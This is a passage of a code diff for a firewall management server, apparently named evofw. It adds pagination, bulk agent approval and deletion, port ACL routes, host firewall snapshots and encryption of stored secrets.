||||
return { ok: true }
|
||||
}
|
||||
}
|
||||
const payloadJson = JSON.stringify({
|
||||
rules: sanitized.rules,
|
||||
listeners: sanitized.listeners,
|
||||
})
|
||||
const rawDigest = createHash('sha256')
|
||||
.update(payloadJson)
|
||||
.digest('hex')
|
||||
.slice(0, 16)
|
||||
repos.upsertHostFirewallSnapshot(
|
||||
app.db,
|
||||
agentId,
|
||||
payloadJson,
|
||||
now,
|
||||
rawDigest,
|
||||
)
|
||||
}
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
@@ -5,6 +5,7 @@ import {
|
||||
putAgentPolicySetsBodySchema,
|
||||
patchAgentBodySchema,
|
||||
cloneFromBodySchema,
|
||||
agentIdsBodySchema,
|
||||
} from '@evofw/shared'
|
||||
import { AppError } from '../plugins/error-handler.js'
|
||||
import { evaluateAgentPolicy, truncateCidrs } from '../services/policy/evaluate.js'
|
||||
@@ -12,6 +13,7 @@ import { buildInstallUrls } from '../services/install-links.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { mapAgent } from '../services/row-mappers.js'
|
||||
import { applyPagination } from '../services/pagination.js'
|
||||
|
||||
export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -19,11 +21,12 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
) => {
|
||||
const { config } = opts
|
||||
|
||||
app.get('/agents', async () => {
|
||||
const all = repos.listAgents(app.db)
|
||||
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
|
||||
return {
|
||||
items: all.map((a) => {
|
||||
app.get<{ Querystring: { limit?: string; offset?: string } }>(
|
||||
'/agents',
|
||||
async (req) => {
|
||||
const all = repos.listAgents(app.db)
|
||||
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
|
||||
const items = all.map((a) => {
|
||||
const link = linksByAgent.get(a.id)
|
||||
if (!link) {
|
||||
return mapAgent(a)
|
||||
@@ -38,9 +41,11 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
installCurl: urls.curl.by_slug,
|
||||
installLinkId: link.id,
|
||||
})
|
||||
}),
|
||||
}
|
||||
})
|
||||
})
|
||||
const paged = applyPagination(items, req.query)
|
||||
return { items: paged.items, total: paged.total }
|
||||
},
|
||||
)
|
||||
|
||||
app.get<{ Params: { id: string } }>('/agents/:id', async (req) => {
|
||||
const a = repos.getAgent(app.db, req.params.id)
|
||||
@@ -73,6 +78,7 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
cidrs_allow: policy.summary.cidrsAllow,
|
||||
overrides: policy.summary.overrides,
|
||||
conflicts_dropped: policy.summary.conflictsDropped,
|
||||
port_rules: policy.summary.portRules,
|
||||
},
|
||||
chain: policy.chain.map((s) => ({
|
||||
set_id: s.setId,
|
||||
@@ -87,6 +93,14 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
allow_cidrs: truncateCidrs(policy.allowCidrs, limit),
|
||||
deny_cidrs_total: policy.denyCidrs.length,
|
||||
allow_cidrs_total: policy.allowCidrs.length,
|
||||
port_rules: policy.portRules.map((r) => ({
|
||||
id: r.id,
|
||||
action: r.action,
|
||||
protocol: r.protocol,
|
||||
port_start: r.portStart,
|
||||
port_end: r.portEnd,
|
||||
src_cidrs: r.srcCidrs,
|
||||
})),
|
||||
}
|
||||
})
|
||||
|
||||
@@ -138,6 +152,32 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
return mapAgent(updated!)
|
||||
})
|
||||
|
||||
app.post('/agents/approve-bulk', async (req) => {
|
||||
const body = agentIdsBodySchema.parse(req.body)
|
||||
const now = new Date().toISOString()
|
||||
const approved: string[] = []
|
||||
app.sqlite.transaction(() => {
|
||||
for (const id of body.agent_ids) {
|
||||
const a = repos.getAgent(app.db, id)
|
||||
if (!a || (a.status !== 'pending' && a.status !== 'invited')) continue
|
||||
repos.updateAgent(app.db, a.id, {
|
||||
status: 'approved',
|
||||
approvedAt: now,
|
||||
})
|
||||
repos.ensureSharedSetAssigned(app.db, a.id)
|
||||
approved.push(a.id)
|
||||
}
|
||||
})()
|
||||
auditMutation(app, config, req, {
|
||||
action: 'agent.approve',
|
||||
targetType: 'app_resource',
|
||||
targetId: approved[0] ?? '',
|
||||
summary: `Массовое одобрение агентов: ${approved.length}`,
|
||||
details: { agent_ids: approved },
|
||||
})
|
||||
return { items: approved.map((id) => mapAgent(repos.getAgent(app.db, id)!)) }
|
||||
})
|
||||
|
||||
app.post<{ Params: { id: string } }>('/agents/:id/revoke', async (req) => {
|
||||
const a = repos.getAgent(app.db, req.params.id)
|
||||
if (!a) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
@@ -172,6 +212,30 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
app.post('/agents/delete-bulk', async (req) => {
|
||||
const body = agentIdsBodySchema.parse(req.body)
|
||||
const deleted: { id: string; name: string }[] = []
|
||||
app.sqlite.transaction(() => {
|
||||
for (const id of body.agent_ids) {
|
||||
const a = repos.getAgent(app.db, id)
|
||||
if (!a) continue
|
||||
repos.deleteAgent(app.db, id)
|
||||
deleted.push({ id: a.id, name: a.name })
|
||||
}
|
||||
})()
|
||||
if (deleted.length > 0) {
|
||||
auditMutation(app, config, req, {
|
||||
action: 'agent.delete',
|
||||
severity: 'warning',
|
||||
targetType: 'app_resource',
|
||||
targetId: deleted[0]!.id,
|
||||
summary: `Массовое удаление агентов: ${deleted.length}`,
|
||||
details: { agent_ids: deleted.map((d) => d.id) },
|
||||
})
|
||||
}
|
||||
return { items: deleted.map((d) => d.id), deleted: deleted.length }
|
||||
})
|
||||
|
||||
app.post<{ Params: { id: string; sourceId: string } }>(
|
||||
'/agents/:id/clone-from/:sourceId',
|
||||
async (req) => {
|
||||
|
||||
@@ -7,6 +7,7 @@ import { listsRoutes } from './lists.js'
|
||||
import { policySetsRoutes } from './policy-sets.js'
|
||||
import { rulesRoutes } from './rules.js'
|
||||
import { statsRoutes } from './stats.js'
|
||||
import { portAclRoutes } from './port-acl.js'
|
||||
import { integrationsEvobgpRoutes } from './integrations-evobgp.js'
|
||||
import { settingsRoutes } from './settings.js'
|
||||
|
||||
@@ -23,6 +24,7 @@ export const controlRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
await app.register(policySetsRoutes, { config })
|
||||
await app.register(rulesRoutes, { config })
|
||||
await app.register(statsRoutes, { config })
|
||||
await app.register(portAclRoutes, { config })
|
||||
await app.register(integrationsEvobgpRoutes)
|
||||
await app.register(settingsRoutes, { config })
|
||||
}
|
||||
@@ -9,6 +9,7 @@ import {
|
||||
import { hashToken } from '../plugins/auth.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { applyPagination } from '../services/pagination.js'
|
||||
|
||||
export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -16,11 +17,16 @@ export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = asy
|
||||
) => {
|
||||
const { config } = opts
|
||||
|
||||
app.get('/install-links', async () => ({
|
||||
items: repos
|
||||
.listInstallLinks(app.db)
|
||||
.map((row) => mapInstallLink(row, config.publicBaseUrl)),
|
||||
}))
|
||||
app.get<{ Querystring: { limit?: string; offset?: string } }>(
|
||||
'/install-links',
|
||||
async (req) => {
|
||||
const items = repos
|
||||
.listInstallLinks(app.db)
|
||||
.map((row) => mapInstallLink(row, config.publicBaseUrl))
|
||||
const paged = applyPagination(items, req.query)
|
||||
return { items: paged.items, total: paged.total }
|
||||
},
|
||||
)
|
||||
|
||||
app.post('/install-links', async (req, reply) => {
|
||||
const body = createInstallLinkBodySchema.parse(req.body)
|
||||
|
||||
@@ -15,6 +15,8 @@ import {
|
||||
} from '../services/lists/entries.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { maskListConfig, sealListConfig } from '../services/secret-cipher.js'
|
||||
import { applyPagination } from '../services/pagination.js'
|
||||
|
||||
export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -22,26 +24,30 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
) => {
|
||||
const { config } = opts
|
||||
|
||||
app.get('/lists', async () => {
|
||||
const lists = repos.listIpLists(app.db)
|
||||
const counts = repos.countEntriesByListIds(
|
||||
app.db,
|
||||
lists.map((l) => l.id),
|
||||
)
|
||||
const items = lists.map((l) => ({
|
||||
id: l.id,
|
||||
name: l.name,
|
||||
type: l.type,
|
||||
config_json: l.configJson,
|
||||
content_hash: l.contentHash,
|
||||
refreshed_at: l.refreshedAt,
|
||||
last_error: l.lastError,
|
||||
entry_count: counts.get(l.id) ?? 0,
|
||||
created_at: l.createdAt,
|
||||
updated_at: l.updatedAt,
|
||||
}))
|
||||
return { items }
|
||||
})
|
||||
app.get<{ Querystring: { limit?: string; offset?: string } }>(
|
||||
'/lists',
|
||||
async (req) => {
|
||||
const lists = repos.listIpLists(app.db)
|
||||
const counts = repos.countEntriesByListIds(
|
||||
app.db,
|
||||
lists.map((l) => l.id),
|
||||
)
|
||||
const items = lists.map((l) => ({
|
||||
id: l.id,
|
||||
name: l.name,
|
||||
type: l.type,
|
||||
config_json: maskListConfig(l.configJson),
|
||||
content_hash: l.contentHash,
|
||||
refreshed_at: l.refreshedAt,
|
||||
last_error: l.lastError,
|
||||
entry_count: counts.get(l.id) ?? 0,
|
||||
created_at: l.createdAt,
|
||||
updated_at: l.updatedAt,
|
||||
}))
|
||||
const paged = applyPagination(items, req.query)
|
||||
return { items: paged.items, total: paged.total }
|
||||
},
|
||||
)
|
||||
|
||||
app.post('/lists', async (req) => {
|
||||
const body = createIpListBodySchema.parse(req.body)
|
||||
@@ -52,7 +58,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
id,
|
||||
name: body.name,
|
||||
type,
|
||||
configJson: JSON.stringify(body.config ?? {}),
|
||||
configJson: sealListConfig({ ...(body.config ?? {}) }),
|
||||
createdAt: new Date().toISOString(),
|
||||
updatedAt: new Date().toISOString(),
|
||||
})
|
||||
@@ -81,7 +87,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
id: list!.id,
|
||||
name: list!.name,
|
||||
type: list!.type,
|
||||
config_json: list!.configJson,
|
||||
config_json: maskListConfig(list!.configJson),
|
||||
created_at: list!.createdAt,
|
||||
updated_at: list!.updatedAt,
|
||||
}
|
||||
|
||||
@@ -3,6 +3,7 @@ import { repos } from '@evofw/db'
|
||||
import {
|
||||
createPolicySetBodySchema,
|
||||
patchPolicySetBodySchema,
|
||||
agentIdsBodySchema,
|
||||
} from '@evofw/shared'
|
||||
import { AppError } from '../plugins/error-handler.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
@@ -100,4 +101,59 @@ export const policySetsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async
|
||||
}
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
/**
|
||||
* Replace which agents have this set assigned: listed agents gain the set
|
||||
* (other assignments preserved), unlisted agents lose it.
|
||||
*/
|
||||
app.put<{ Params: { id: string } }>(
|
||||
'/policy-sets/:id/agents',
|
||||
async (req) => {
|
||||
const set = repos.getPolicySet(app.db, req.params.id)
|
||||
if (!set) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
|
||||
const body = agentIdsBodySchema.parse(req.body)
|
||||
|
||||
const target = new Set(body.agent_ids)
|
||||
for (const agentId of body.agent_ids) {
|
||||
if (!repos.getAgent(app.db, agentId)) {
|
||||
throw new AppError('NOT_FOUND', `Agent not found: ${agentId}`, 404)
|
||||
}
|
||||
}
|
||||
|
||||
const current = repos.listAgentIdsForSet(app.db, set.id)
|
||||
const toAdd = body.agent_ids.filter((id) => !current.includes(id))
|
||||
const toRemove = current.filter((id) => !target.has(id))
|
||||
|
||||
const applyAssignment = (agentId: string, withSet: boolean) => {
|
||||
const others = repos
|
||||
.listSetsForAgent(app.db, agentId)
|
||||
.map((s) => s.setId)
|
||||
.filter((id) => id !== set.id)
|
||||
const next = withSet ? [...others, set.id] : others
|
||||
repos.setAgentPolicySets(app.db, agentId, next)
|
||||
}
|
||||
|
||||
app.sqlite.transaction(() => {
|
||||
for (const agentId of toAdd) applyAssignment(agentId, true)
|
||||
for (const agentId of toRemove) applyAssignment(agentId, false)
|
||||
})()
|
||||
|
||||
auditMutation(app, config, req, {
|
||||
action: 'policy_set.agents.update',
|
||||
targetType: 'app_resource',
|
||||
targetId: set.id,
|
||||
summary: `Назначение набора ${set.name} обновлено`,
|
||||
details: {
|
||||
set_id: set.id,
|
||||
added: toAdd,
|
||||
removed: toRemove,
|
||||
},
|
||||
})
|
||||
return {
|
||||
agent_ids: repos.listAgentIdsForSet(app.db, set.id),
|
||||
added: toAdd,
|
||||
removed: toRemove,
|
||||
}
|
||||
},
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,369 @@
|
||||
import type { FastifyPluginAsync } from 'fastify'
|
||||
import { createHash } from 'node:crypto'
|
||||
import { repos } from '@evofw/db'
|
||||
import {
|
||||
createAgentPortRuleBodySchema,
|
||||
importAgentPortRulesBodySchema,
|
||||
updateAgentPortRuleBodySchema,
|
||||
} from '@evofw/shared'
|
||||
import { AppError } from '../plugins/error-handler.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
|
||||
function mapPortRule(
|
||||
row: NonNullable<ReturnType<typeof repos.getAgentPortRule>>,
|
||||
listName?: string | null,
|
||||
) {
|
||||
return {
|
||||
id: row.id,
|
||||
agent_id: row.agentId,
|
||||
action: row.action,
|
||||
protocol: row.protocol,
|
||||
port_start: row.portStart,
|
||||
port_end: row.portEnd,
|
||||
src_kind: row.srcKind,
|
||||
src_cidr: row.srcCidr,
|
||||
list_id: row.listId,
|
||||
list_name: listName ?? null,
|
||||
enabled: row.enabled === 1,
|
||||
comment: row.comment,
|
||||
priority: row.priority,
|
||||
created_at: row.createdAt,
|
||||
updated_at: row.updatedAt,
|
||||
}
|
||||
}
|
||||
|
||||
function validateSrc(
|
||||
srcKind: string,
|
||||
srcCidr: string | null | undefined,
|
||||
listId: string | null | undefined,
|
||||
db: Parameters<typeof repos.getIpList>[0],
|
||||
) {
|
||||
if (srcKind === 'cidr' && !srcCidr?.trim()) {
|
||||
throw new AppError('VALIDATION_ERROR', 'src_cidr required', 400)
|
||||
}
|
||||
if (srcKind === 'list') {
|
||||
if (!listId?.trim()) {
|
||||
throw new AppError('VALIDATION_ERROR', 'list_id required', 400)
|
||||
}
|
||||
if (!repos.getIpList(db, listId)) {
|
||||
throw new AppError('NOT_FOUND', 'IP list not found', 404)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export const portAclRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
opts,
|
||||
) => {
|
||||
const { config } = opts
|
||||
|
||||
app.get<{ Params: { id: string } }>(
|
||||
'/agents/:id/port-rules',
|
||||
async (req) => {
|
||||
const agent = repos.getAgent(app.db, req.params.id)
|
||||
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
const rows = repos.listAgentPortRules(app.db, agent.id)
|
||||
const listNames = repos.mapIpListNames(
|
||||
app.db,
|
||||
rows.map((r) => r.listId).filter((id): id is string => Boolean(id)),
|
||||
)
|
||||
const items = rows.map((row) =>
|
||||
mapPortRule(
|
||||
row,
|
||||
row.listId ? (listNames.get(row.listId) ?? null) : null,
|
||||
),
|
||||
)
|
||||
return { items }
|
||||
},
|
||||
)
|
||||
|
||||
app.post<{ Params: { id: string } }>(
|
||||
'/agents/:id/port-rules',
|
||||
async (req) => {
|
||||
const agent = repos.getAgent(app.db, req.params.id)
|
||||
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
if (agent.platform !== 'linux') {
|
||||
throw new AppError(
|
||||
'VALIDATION_ERROR',
|
||||
'Port ACL is only supported on Linux agents',
|
||||
400,
|
||||
)
|
||||
}
|
||||
const body = createAgentPortRuleBodySchema.parse(req.body)
|
||||
const portEnd = body.port_end ?? body.port_start
|
||||
const srcKind = body.src_kind
|
||||
const srcCidr = srcKind === 'cidr' ? body.src_cidr!.trim() : null
|
||||
const listId = srcKind === 'list' ? body.list_id! : null
|
||||
validateSrc(srcKind, srcCidr, listId, app.db)
|
||||
|
||||
const now = new Date().toISOString()
|
||||
const row = repos.insertAgentPortRule(app.db, {
|
||||
id: crypto.randomUUID(),
|
||||
agentId: agent.id,
|
||||
action: body.action,
|
||||
protocol: body.protocol,
|
||||
portStart: body.port_start,
|
||||
portEnd,
|
||||
srcKind,
|
||||
srcCidr,
|
||||
listId,
|
||||
enabled: body.enabled === false ? 0 : 1,
|
||||
comment: body.comment ?? null,
|
||||
priority: body.priority ?? 100,
|
||||
createdAt: now,
|
||||
updatedAt: now,
|
||||
})
|
||||
repos.bumpAgentGeneration(app.db, agent.id)
|
||||
auditMutation(app, config, req, {
|
||||
action: 'port_rule.create',
|
||||
targetType: 'app_resource',
|
||||
targetId: row!.id,
|
||||
summary: `Port ACL ${body.action} ${body.protocol}/${body.port_start} для ${agent.name}`,
|
||||
details: {
|
||||
agent_id: agent.id,
|
||||
rule_id: row!.id,
|
||||
action: body.action,
|
||||
protocol: body.protocol,
|
||||
port_start: body.port_start,
|
||||
port_end: portEnd,
|
||||
},
|
||||
})
|
||||
const listName = row!.listId
|
||||
? repos.getIpList(app.db, row!.listId)?.name
|
||||
: null
|
||||
return mapPortRule(row!, listName)
|
||||
},
|
||||
)
|
||||
|
||||
app.patch<{ Params: { id: string; ruleId: string } }>(
|
||||
'/agents/:id/port-rules/:ruleId',
|
||||
async (req) => {
|
||||
const agent = repos.getAgent(app.db, req.params.id)
|
||||
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
const existing = repos.getAgentPortRule(app.db, req.params.ruleId)
|
||||
if (!existing || existing.agentId !== agent.id) {
|
||||
throw new AppError('NOT_FOUND', 'Port rule not found', 404)
|
||||
}
|
||||
const body = updateAgentPortRuleBodySchema.parse(req.body)
|
||||
const nextSrcKind = body.src_kind ?? existing.srcKind
|
||||
const nextSrcCidr =
|
||||
body.src_cidr !== undefined
|
||||
? body.src_cidr
|
||||
: existing.srcCidr
|
||||
const nextListId =
|
||||
body.list_id !== undefined ? body.list_id : existing.listId
|
||||
validateSrc(nextSrcKind, nextSrcCidr, nextListId, app.db)
|
||||
|
||||
const portStart = body.port_start ?? existing.portStart
|
||||
const portEnd = body.port_end ?? existing.portEnd
|
||||
if (portEnd < portStart) {
|
||||
throw new AppError(
|
||||
'VALIDATION_ERROR',
|
||||
'port_end must be >= port_start',
|
||||
400,
|
||||
)
|
||||
}
|
||||
|
||||
const row = repos.updateAgentPortRule(app.db, existing.id, {
|
||||
...(body.action !== undefined ? { action: body.action } : {}),
|
||||
...(body.protocol !== undefined ? { protocol: body.protocol } : {}),
|
||||
portStart,
|
||||
portEnd,
|
||||
srcKind: nextSrcKind,
|
||||
srcCidr: nextSrcKind === 'cidr' ? nextSrcCidr : null,
|
||||
listId: nextSrcKind === 'list' ? nextListId : null,
|
||||
...(body.enabled !== undefined
|
||||
? { enabled: body.enabled ? 1 : 0 }
|
||||
: {}),
|
||||
...(body.comment !== undefined ? { comment: body.comment } : {}),
|
||||
...(body.priority !== undefined ? { priority: body.priority } : {}),
|
||||
})
|
||||
repos.bumpAgentGeneration(app.db, agent.id)
|
||||
auditMutation(app, config, req, {
|
||||
action: 'port_rule.update',
|
||||
targetType: 'app_resource',
|
||||
targetId: existing.id,
|
||||
summary: `Port ACL обновлён у ${agent.name}`,
|
||||
details: { agent_id: agent.id, rule_id: existing.id },
|
||||
})
|
||||
const listName = row!.listId
|
||||
? repos.getIpList(app.db, row!.listId)?.name
|
||||
: null
|
||||
return mapPortRule(row!, listName)
|
||||
},
|
||||
)
|
||||
|
||||
app.delete<{ Params: { id: string; ruleId: string } }>(
|
||||
'/agents/:id/port-rules/:ruleId',
|
||||
async (req) => {
|
||||
const agent = repos.getAgent(app.db, req.params.id)
|
||||
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
const existing = repos.getAgentPortRule(app.db, req.params.ruleId)
|
||||
if (!existing || existing.agentId !== agent.id) {
|
||||
throw new AppError('NOT_FOUND', 'Port rule not found', 404)
|
||||
}
|
||||
repos.deleteAgentPortRule(app.db, existing.id)
|
||||
repos.bumpAgentGeneration(app.db, agent.id)
|
||||
auditMutation(app, config, req, {
|
||||
action: 'port_rule.delete',
|
||||
severity: 'warning',
|
||||
targetType: 'app_resource',
|
||||
targetId: existing.id,
|
||||
summary: `Port ACL удалён у ${agent.name}`,
|
||||
details: { agent_id: agent.id, rule_id: existing.id },
|
||||
})
|
||||
return { ok: true }
|
||||
},
|
||||
)
|
||||
|
||||
app.post<{ Params: { id: string } }>(
|
||||
'/agents/:id/port-rules/import',
|
||||
async (req) => {
|
||||
const agent = repos.getAgent(app.db, req.params.id)
|
||||
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
if (agent.platform !== 'linux') {
|
||||
throw new AppError(
|
||||
'VALIDATION_ERROR',
|
||||
'Port ACL is only supported on Linux agents',
|
||||
400,
|
||||
)
|
||||
}
|
||||
const body = importAgentPortRulesBodySchema.parse(req.body)
|
||||
const now = new Date().toISOString()
|
||||
const created: ReturnType<typeof mapPortRule>[] = []
|
||||
|
||||
if (body.from === 'list') {
|
||||
const list = repos.getIpList(app.db, body.list_id!)
|
||||
if (!list) throw new AppError('NOT_FOUND', 'IP list not found', 404)
|
||||
for (const p of body.ports) {
|
||||
const portEnd = p.port_end ?? p.port_start
|
||||
const row = repos.insertAgentPortRule(app.db, {
|
||||
id: crypto.randomUUID(),
|
||||
agentId: agent.id,
|
||||
action: body.action,
|
||||
protocol: body.protocol,
|
||||
portStart: p.port_start,
|
||||
portEnd,
|
||||
srcKind: 'list',
|
||||
srcCidr: null,
|
||||
listId: list.id,
|
||||
enabled: body.enabled === false ? 0 : 1,
|
||||
comment: body.comment ?? `import list:${list.name}`,
|
||||
priority: 100,
|
||||
createdAt: now,
|
||||
updatedAt: now,
|
||||
})
|
||||
created.push(mapPortRule(row!, list.name))
|
||||
}
|
||||
} else {
|
||||
const set = repos.getPolicySet(app.db, body.set_id!)
|
||||
if (!set) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
|
||||
const rules = repos.listPolicyRules(app.db, set.id)
|
||||
const listIds = new Set<string>()
|
||||
const cidrs = new Set<string>()
|
||||
for (const r of rules) {
|
||||
if (r.listId) listIds.add(r.listId)
|
||||
if (r.cidr?.trim()) cidrs.add(r.cidr.trim())
|
||||
}
|
||||
if (!listIds.size && !cidrs.size) {
|
||||
throw new AppError(
|
||||
'VALIDATION_ERROR',
|
||||
'Policy set has no list/cidr sources to import',
|
||||
400,
|
||||
)
|
||||
}
|
||||
for (const p of body.ports) {
|
||||
const portEnd = p.port_end ?? p.port_start
|
||||
for (const listId of listIds) {
|
||||
const list = repos.getIpList(app.db, listId)
|
||||
const row = repos.insertAgentPortRule(app.db, {
|
||||
id: crypto.randomUUID(),
|
||||
agentId: agent.id,
|
||||
action: body.action,
|
||||
protocol: body.protocol,
|
||||
portStart: p.port_start,
|
||||
portEnd,
|
||||
srcKind: 'list',
|
||||
srcCidr: null,
|
||||
listId,
|
||||
enabled: body.enabled === false ? 0 : 1,
|
||||
comment:
|
||||
body.comment ?? `import set:${set.name} list:${list?.name ?? listId}`,
|
||||
priority: 100,
|
||||
createdAt: now,
|
||||
updatedAt: now,
|
||||
})
|
||||
created.push(mapPortRule(row!, list?.name ?? null))
|
||||
}
|
||||
for (const cidr of cidrs) {
|
||||
const row = repos.insertAgentPortRule(app.db, {
|
||||
id: crypto.randomUUID(),
|
||||
agentId: agent.id,
|
||||
action: body.action,
|
||||
protocol: body.protocol,
|
||||
portStart: p.port_start,
|
||||
portEnd,
|
||||
srcKind: 'cidr',
|
||||
srcCidr: cidr,
|
||||
listId: null,
|
||||
enabled: body.enabled === false ? 0 : 1,
|
||||
comment: body.comment ?? `import set:${set.name} cidr:${cidr}`,
|
||||
priority: 100,
|
||||
createdAt: now,
|
||||
updatedAt: now,
|
||||
})
|
||||
created.push(mapPortRule(row!, null))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
repos.bumpAgentGeneration(app.db, agent.id)
|
||||
auditMutation(app, config, req, {
|
||||
action: 'port_rule.import',
|
||||
targetType: 'app_resource',
|
||||
targetId: agent.id,
|
||||
summary: `Импорт ${created.length} Port ACL для ${agent.name}`,
|
||||
details: {
|
||||
agent_id: agent.id,
|
||||
from: body.from,
|
||||
count: created.length,
|
||||
},
|
||||
})
|
||||
return { items: created }
|
||||
},
|
||||
)
|
||||
|
||||
app.get<{ Params: { id: string } }>(
|
||||
'/agents/:id/host-firewall',
|
||||
async (req) => {
|
||||
const agent = repos.getAgent(app.db, req.params.id)
|
||||
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
const snap = repos.getHostFirewallSnapshot(app.db, agent.id)
|
||||
if (!snap) {
|
||||
return {
|
||||
collected_at: null,
|
||||
raw_digest: null,
|
||||
rules: [],
|
||||
listeners: [],
|
||||
}
|
||||
}
|
||||
let payload: { rules?: unknown[]; listeners?: unknown[] } = {}
|
||||
try {
|
||||
payload = JSON.parse(snap.payloadJson) as typeof payload
|
||||
} catch {
|
||||
payload = {}
|
||||
}
|
||||
return {
|
||||
collected_at: snap.collectedAt,
|
||||
raw_digest: snap.rawDigest,
|
||||
rules: payload.rules ?? [],
|
||||
listeners: payload.listeners ?? [],
|
||||
}
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
export function digestHostFirewallPayload(json: string): string {
|
||||
return createHash('sha256').update(json).digest('hex').slice(0, 16)
|
||||
}
|
||||
@@ -12,7 +12,8 @@ import {
|
||||
} from '../services/policy/resolve-hostname.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { mapPolicyRule } from '../services/row-mappers.js'
|
||||
import { mapPolicyRule, mapPolicyRules } from '../services/row-mappers.js'
|
||||
import { applyPagination } from '../services/pagination.js'
|
||||
|
||||
export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -26,29 +27,28 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
const s = repos.getPolicySet(app.db, req.params.id)
|
||||
if (!s) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
|
||||
return {
|
||||
items: repos
|
||||
.listPolicyRules(app.db, s.id)
|
||||
.map((r) => mapPolicyRule(r, app.db)),
|
||||
items: mapPolicyRules(repos.listPolicyRules(app.db, s.id), app.db),
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
app.get<{ Querystring: { set_id?: string; agent_id?: string } }>(
|
||||
'/rules',
|
||||
async (req) => {
|
||||
if (req.query.agent_id) {
|
||||
return {
|
||||
items: repos
|
||||
.listPolicyRulesForAgent(app.db, req.query.agent_id)
|
||||
.map((r) => mapPolicyRule(r, app.db)),
|
||||
}
|
||||
app.get<{
|
||||
Querystring: { set_id?: string; agent_id?: string; limit?: string; offset?: string }
|
||||
}>('/rules', async (req) => {
|
||||
if (req.query.agent_id) {
|
||||
return {
|
||||
items: mapPolicyRules(
|
||||
repos.listPolicyRulesForAgent(app.db, req.query.agent_id),
|
||||
app.db,
|
||||
),
|
||||
}
|
||||
const items = repos
|
||||
.listPolicyRules(app.db, req.query.set_id)
|
||||
.map((r) => mapPolicyRule(r, app.db))
|
||||
return { items }
|
||||
},
|
||||
)
|
||||
}
|
||||
const paged = applyPagination(
|
||||
mapPolicyRules(repos.listPolicyRules(app.db, req.query.set_id), app.db),
|
||||
req.query,
|
||||
)
|
||||
return { items: paged.items, total: paged.total }
|
||||
})
|
||||
|
||||
app.post('/rules', async (req) => {
|
||||
const body = createPolicyRuleBodySchema.parse(req.body)
|
||||
@@ -174,9 +174,10 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
details: { set_id: s.id, ordered_ids: body.ordered_ids },
|
||||
})
|
||||
return {
|
||||
items: repos
|
||||
.listPolicyRules(app.db, s.id)
|
||||
.map((r) => mapPolicyRule(r, app.db)),
|
||||
items: mapPolicyRules(
|
||||
repos.listPolicyRules(app.db, s.id),
|
||||
app.db,
|
||||
),
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
@@ -2,6 +2,7 @@ import type { FastifyPluginAsync } from 'fastify'
|
||||
import { repos } from '@evofw/db'
|
||||
import { putSettingsBodySchema } from '@evofw/shared'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { encryptSecret } from '../services/secret-cipher.js'
|
||||
|
||||
export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -27,7 +28,11 @@ export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
const body = putSettingsBodySchema.parse(req.body)
|
||||
for (const [k, v] of Object.entries(body)) {
|
||||
if (k === 'evobgp_api_token' && v === '********') continue
|
||||
repos.setSetting(app.db, k, v)
|
||||
repos.setSetting(
|
||||
app.db,
|
||||
k,
|
||||
k === 'evobgp_api_token' ? encryptSecret(v) : v,
|
||||
)
|
||||
